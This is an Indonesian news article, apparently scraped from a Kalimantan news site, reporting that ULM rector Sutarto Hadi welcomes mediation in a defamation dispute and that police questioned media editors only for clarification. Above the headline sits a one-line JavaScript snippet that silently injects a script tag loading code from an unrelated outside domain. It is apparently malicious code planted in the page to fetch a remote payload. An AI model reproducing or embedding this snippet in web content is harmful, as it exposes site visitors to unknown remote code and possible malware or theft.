(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Sutarto Hadi Sambut Tawaran Mediasi untuk Jaga Marwah ULM


BANJARMASIN, Kepentingan institusi Universitas Lambung Mangkurat (ULM) harus lebih dikedapankan daripada sekadar kepentingan politik atas ‘kekuasaan’ kampus. Maka upaya menuju jalan mediasi oleh pihak terlapor melalui kuasa hukum Borneo Law Firm (BLF) Muhammad Pazri, disambut pula oleh pelapor Rektor ULM Prof Dr Sutarto Hadi.

“Saya tidak menutup jalan damai. Bagaimana caranya, siapa yang harus menghubungi siapa, tentu harus duduk bersama. Tidak ada yang di atas atau di bawah, posisi dan hak sama rata. Jadi bisa saja nanti kita lakukan mediasi untuk mencari solusi,” jelasnya ketiak ditemui wartawan di sela kuliah umum Aula Rektorat, Kamis (2/8).

Pada kesempatan tersebut, Sutarto juga menegaskan sebenarnya tidak pernah melaporkan media terkait kasus pencemaran nama baik terhadap dirinya. Ia mengatakan, laporan tersebut dibuat karena ada beberapa tuduhan yang dialamatkan pada dirinya di tempat lain. “Ada tuduhan yang dialamatkan kepada saya tidak lewat media,” tegas Sutarto.

Ia mengatakan, jika tuduhan tersebut dibiarkan dikhawatirkan akan bisa mengganggu pola hubungan antara sejumlah civitas akademika di ULM. Baik senat, calon rektor, maupun panitia pemilihan yang telah bertugas maksimal.

“Ada yang ingin mengambil kesempatan dengan cara tidak elegan. Saya bukan tipe orang yang harus mengancam mau mencari orang yang memfitnah saya. Sebagai intelektual, kita punya cara yang sesuai dengan perundang undangan. Tapi tidak melaporkan pers,” tegasnya.

Apa yang disampaikan Sutarto tersebut sebelumnya juga disampaikan oleh Direktur Dit Reskrimsus Polda Kalsel Kombes Rizal Irawan. Ia mengatakan, tidak ada kalangan jurnalis yang dilaporkan atas dugaan pelanggaran Undang-Undang Informasi dan Transaksi Elektronik (ITE). Pemanggilan tersebut sebatas terkait permintaan klarifikasi pemberitaan pemilihan rektor ULM.

“Itu hanya untuk mengumpulkan bahan atau keterangan tentang media yang dipakai oleh terlapor dalam memuat sebuah tulisan atau berita,” ungkapnya.

Sebelumnya, Presdir Borneo Law Firm, Muhammad Pazri, selaku kuasa hukum terlapor yakni H Wahyu Firmansyah (Ketua Forum ULM Bersih), Prof Dr Ruslan Muhyi (Guru Besar Fakultas Kedokteran), dan Daddy Fahmanadi (Dosen Fakultas Hukum ULM) mengusulkan kedua pihak untuk menempuh mediasi. Upaya ini untuk menjaga marwah ULM sebagai institusi pendidikan tinggi tertua di Kalsel.

Alangkah baiknya jika masalah ini diselesaikan secara internal. Apalagi pihak-pihak terlibat juga berasal dari ULM, baik guru besar, dosen maupun karyawan. Termasuk juga rekan media yang turut terseret,” ungkapnya saat menggelar jumpa pers di Banjarmasin, Rabu (1/8).

Pazri mengatakan, mediasi tetap menjadi hal terbaik menghindari berkembangnya kasus ini menjadi bola liar. Para anggota Senat ULM pun harus memahami kasus ini dan bersama-sama mengembalikan iklim akademis di universitas tertua di Kalsel ini.

“Kalau ada jalan mediasi, tentunya kami buka peluang duduk bersama. Tapi jika ini naik ke penyidikan, maka kami juga akan mengambil upaya melaporkan balik. Ini bukan ancaman, tapi karena menggunakan hak hukum yang diatur dalam UU,” tegas Pazri.

Giliran Pimred Kalselpos.com Diminta Klarifikasi

Hari ini tadi, Dit Reskrimsus Polda Kalsel memanggil Pimred Kalselpos.com, SA Lingga untuk diminta klarifikasi sebagaimana pimpinan media online lainnya. Kepada wartawan yang memberi dukungan di Ditreskrimsus di Komplek Bina Brata, Banjarmasin, Lingga mengungkapkan materi klarifikasi hampir sama pimpinan media online sebelumnya.

“Ada sekitar 12 pertanyaan yang diajukan kepada kami. Ditreskrimsus Polda Kalsel hanya meminta klarifikasi berita tersebut,” katanya.

Dijelaskannya, pertanyaan yang diajukan kepadanya berkaitan dengan narasumber dan mekanisme penulisan berita tersebut. “Hanya sebatas klarifikasi. Ditreskrimsus juga mengetahu MoU antara Dewan Pers dan Kapolri,”  katanya.

Lingga menegaskan, proses klarifikasi yang dilakukan tim penyidik Dit Reskrimsus pada media sudah berakhir. “Saya pastikan tak ada lagi kawan-kawan media yang diminta klarifikasi. Saya yang terakhir, dari pernyataan para penyidik,” jelasnya. (ammar)

Reporter : Ammar
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.